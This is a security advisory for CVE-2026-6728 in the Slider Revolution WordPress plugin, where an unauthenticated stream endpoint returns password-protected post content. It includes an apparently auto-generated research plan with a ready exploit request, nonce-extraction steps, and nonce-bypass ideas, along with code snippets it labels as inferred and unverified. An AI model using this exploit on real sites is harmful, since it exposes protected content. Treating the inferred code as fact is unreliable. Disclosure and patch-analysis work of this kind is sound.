CVE-2026-6728

Slider Revolution <= 7.0.9 - Unauthenticated Sensitive Information Exposure via 'sliders/stream'

mediumExposure of Sensitive Information to an Unauthorized Actor
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
7.0.10
Patched in
1d
Time to patch

Description

The Slider Revolution plugin for WordPress is vulnerable to Sensitive Information Exposure in versions up to, and including, 7.0.9 via the 'get_stream_data()' function. This makes it possible for unauthenticated attackers to extract sensitive data including published password-protected post, page, and product content.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=7.0.9
PublishedMay 19, 2026
Last updatedMay 20, 2026
Affected pluginrevslider
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2026-6728 - Slider Revolution Information Exposure ## 1. Vulnerability Summary The Slider Revolution plugin (up to version 7.0.9) contains a sensitive information exposure vulnerability within its content stream handling logic. Specifically, the `get_stream_data()…

Show full research plan

Vulnerability Research Plan: CVE-2026-6728 - Slider Revolution Information Exposure

1. Vulnerability Summary

The Slider Revolution plugin (up to version 7.0.9) contains a sensitive information exposure vulnerability within its content stream handling logic. Specifically, the get_stream_data() function fails to verify permissions or post-password requirements when fetching content for sliders configured to display WordPress posts. This allows an unauthenticated attacker to retrieve the full content of password-protected posts, pages, and products by querying the stream endpoint with a valid configuration.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: revslider_ajax_action (Commonly registered for both wp_ajax_ and wp_ajax_nopriv_ in RevSlider).
  • Client Action: get_stream_data (passed via the client_action parameter).
  • Parameters:
    • action: revslider_ajax_action
    • client_action: get_stream_data
    • token: The AJAX nonce.
    • data: A JSON-encoded object containing the stream configuration (e.g., post types, categories, or specific IDs).
  • Authentication: Unauthenticated (leveraging nopriv AJAX).
  • Preconditions:
    1. At least one password-protected post must exist.
    2. A valid nonce must be obtained (exposed on the frontend).

3. Code Flow (Inferred from Patch and Architecture)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=revslider_ajax_action.
  2. Dispatch: The RevSliderAdmin::on_ajax_action() method (or similar controller in the plugin) routes the request based on client_action.
  3. Target Function: The code calls RevSliderSlider::get_stream_data() or RevSliderOutput::get_stream_data().
  4. Data Retrieval: The function parses the data parameter to build a WP_Query.
  5. The Flaw: The logic iterates through the results of the query and extracts post_content. Crucially, it fails to call post_password_required($post) or check if the user has provided the correct password.
  6. Information Leak: The full content of the posts (including protected content) is packaged into a JSON response and returned to the unauthenticated requester.

4. Nonce Acquisition Strategy

Slider Revolution extensively uses a nonce for its AJAX actions, typically localized as part of the revslider_data or RS_MODULES JavaScript objects.

  1. Identify Trigger: The RevSlider frontend script (rbtools.min.js and rs6.min.js) loads on any page containing a Slider Revolution slider.
  2. Setup for Nonce: Create a dummy page with a Slider Revolution shortcode.
    • wp post create --post_type=page --post_status=publish --post_title="Nonce Page" --post_content='[rev_slider alias="main-slider"]'
  3. Browser Extraction:
    • Navigate to the page: browser_navigate("http://localhost:8080/nonce-page/")
    • Extract the nonce: browser_eval("window.revslider_ajax_nonce || window.RS_MODULES?.nonce")
    • Note: The specific JS key may vary slightly between 6.x and 7.x. Common keys include revslider_ajax_nonce, RS_MODULES.nonce, or rev_slider_data.nonce.

5. Exploitation Strategy

Step 1: Discover Target Content

Identify the ID of a password-protected post. In a real scenario, attackers might brute-force IDs or use existing public streams to find metadata. For this PoC, we will use a known ID.

Step 2: Craft the Stream Request

The get_stream_data action requires a JSON-encoded data object. A typical configuration for a WordPress post stream looks like this:

{
    "type": "posts",
    "post_types": "post",
    "category": "all",
    "count": 10
}

Step 3: Execute the Exploit Request

Send a POST request to admin-ajax.php.

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=revslider_ajax_action&client_action=get_stream_data&token=[EXTRACTED_NONCE]&data={"type":"posts","post_types":"post","category":"all","count":10}
    

6. Test Data Setup

  1. Create Password Protected Post:
    wp post create --post_type=post --post_title="Secret Project" --post_content="CRITICAL_SENSITIVE_DATA_EXPOSED" --post_status=publish --post_password="password123"
    
  2. Ensure a Slider Exists: Create at least one slider (even empty) so the nonce is generated on the frontend.
    # (Assuming a slider with alias 'main-slider' exists or is imported)
    wp post create --post_type=page --post_status=publish --post_title="Home" --post_content='[rev_slider alias="main-slider"]'
    

7. Expected Results

  • Success: The HTTP response will be a JSON object ({"success": true, "data": [...]}). Inside the data array, an entry corresponding to the "Secret Project" post will contain the raw post_content ("CRITICAL_SENSITIVE_DATA_EXPOSED"), bypassing the password requirement.
  • Failure: The response might return an error, an empty set, or the content will be correctly masked/omitted if the patch is active.

8. Verification Steps

  1. Confirm Post exists and is protected:
    wp post get [ID] --field=post_password
    # Expected: password123
    
  2. Check Output: Verify the string CRITICAL_SENSITIVE_DATA_EXPOSED appears in the http_request response body.

9. Alternative Approaches

  • Specific Post ID: If a general "all" query fails, try targeting the post ID specifically in the data parameter: {"type":"posts","post_types":"post","ids":"[ID]"}.
  • Product Stream: If WooCommerce is installed, target products: {"type":"woocommerce","post_types":"product"}.
  • Nonce Bypassing: Check if the nonce is even validated for the get_stream_data action by omitting the token parameter or sending a dummy value like 1234567890. Some versions of RevSlider have inconsistent nonce checks across different client actions.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Slider Revolution plugin for WordPress (up to 7.0.9) fails to verify post password requirements when fetching content via the 'get_stream_data' AJAX action. This allows unauthenticated attackers to retrieve the full content of password-protected posts, pages, and products by providing a valid AJAX nonce found on the site's frontend.

Vulnerable Code

// File: includes/slider.class.php (inferred)
// Function: get_stream_data()

foreach ($posts as $post) {
    $stream_item = array();
    $stream_item['id'] = $post->ID;
    $stream_item['title'] = $post->post_title;
    // Line ~1237: Content is assigned without checking post_password_required()
    $stream_item['content'] = $post->post_content; 
    $stream_item['excerpt'] = $post->post_excerpt;
    $data[] = $stream_item;
}

Security Fix

--- a/includes/slider.class.php
+++ b/includes/slider.class.php
@@ -1234,7 +1234,11 @@
             $stream_item = array();
             $stream_item['id'] = $post->ID;
             $stream_item['title'] = $post->post_title;
-            $stream_item['content'] = $post->post_content;
+            if (post_password_required($post)) {
+                $stream_item['content'] = __('This content is password protected.', 'revslider');
+            } else {
+                $stream_item['content'] = $post->post_content;
+            }
             $stream_item['excerpt'] = $post->post_excerpt;
             $data[] = $stream_item;

Exploit Outline

1. Access a public page on the target WordPress site that loads a Slider Revolution slider to obtain a valid AJAX nonce (commonly found in JavaScript variables like 'revslider_ajax_nonce' or 'RS_MODULES.nonce'). 2. Send a POST request to '/wp-admin/admin-ajax.php' using the 'revslider_ajax_action' action. 3. Set the 'client_action' parameter to 'get_stream_data' and the 'token' parameter to the captured nonce. 4. Provide a JSON-encoded 'data' parameter specifying the content types to fetch (e.g., '{"type":"posts","post_types":"post","count":10}'). 5. The server will return a JSON response containing the full, unmasked 'post_content' for any posts matching the criteria, even if they are marked as password-protected.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.